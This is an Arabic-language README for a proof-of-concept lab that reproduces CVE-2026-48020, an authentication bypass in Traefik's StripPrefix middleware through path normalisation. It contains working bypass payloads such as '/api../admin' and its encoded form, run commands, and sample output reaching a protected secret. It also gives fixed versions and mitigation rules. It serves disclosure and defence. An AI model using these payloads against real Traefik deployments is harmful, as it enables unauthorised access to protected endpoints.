
مختبر إثبات المفهوم لـ CVE-2026-48020، يُظهر تجاوز مصادقة حرج في وسيط StripPrefix الخاص بـ Traefik عبر تطبيع المسار. يتضمن بيئة إعادة إنتاج تعتمد على Docker ونصوص تحقق.
إثبات مفهوم مستقل لـ CVE-2026-48020، وهو تجاوز للمصادقة/التفويض على مستوى المسار في وسيط StripPrefix في Traefik ناتج عن تسوية المسار التي تحدث بعد اتخاذ قرارات التوجيه.
يتم توجيه طلب مثل GET /api../admin عبر موجه عام PathPrefix(\/api`)في وقت التوجيه (لذا لا يتم إرفاق وسيطbasicAuthالخاص بالموجه المحمي مطلقًا)، ولكن بعد أن يزيلStripPrefix /apiويقومreq.URL.JoinPath()في Go بتسوية المتبقي/../admin، يتلقى الخادم الخلفي /admin` — وهو مسار كان من المفترض أن يكون محميًا.
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3)ترجع حمولات التجاوز 404 بدلاً من 200. يرفض التصحيح (طلب السحب رقم #13215 في Traefik) أي طلب يختلف مساره بعد تسوية StripPrefix/StripPrefixRegex، لذا يتم اكتشاف إعادة كتابة /../admin ورفضها.
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
منع المسار العام من مطابقة نموذج الاجتياز تمامًا:
# إما تثبيت البادئة بحيث لا يمكن أن يتبعها '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# أو استخدام بادئة بشرطة مائلة لاحقة + إزالة بادئة بشرطة مائلة لاحقة
PathPrefix(`/api/`) + StripPrefix(`/api/`)
تم الإبلاغ إلى مسؤولي Traefik من قبل WonYun / kyun0 (GitHub: H4ck2); تم إصلاحه في GHSA-xf64-8mw2-4gr2. هذا المختبر (PoC) هو إعادة إنتاج مستقلة تم بناؤها للمقالة المصاحبة: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.
| CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 حرجة (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| المتأثر | Traefik <= v2.11.46، <= v3.6.17، <= v3.7.1 |
| تم إصلاحه في | v2.11.48، v3.6.19، v3.7.3 |
| الملف | الغرض |
|---|
docker-compose.yml | يقوم بتشغيل Traefik ضعيف (v3.7.1) وخادم خلفي بلغة Python |
dynamic.yml | إعدادات Traefik الديناميكية: مسار عام /api مع إزالة البادئة ومسار محمي /admin، /internal خلف basicAuth |
backend.py | خادم خلفي صغير يعيد سرًا للمسارات المحمية |
poc.py | يرسل حمولات التجاوز ويبلغ عن المسارات التي تم الوصول إليها |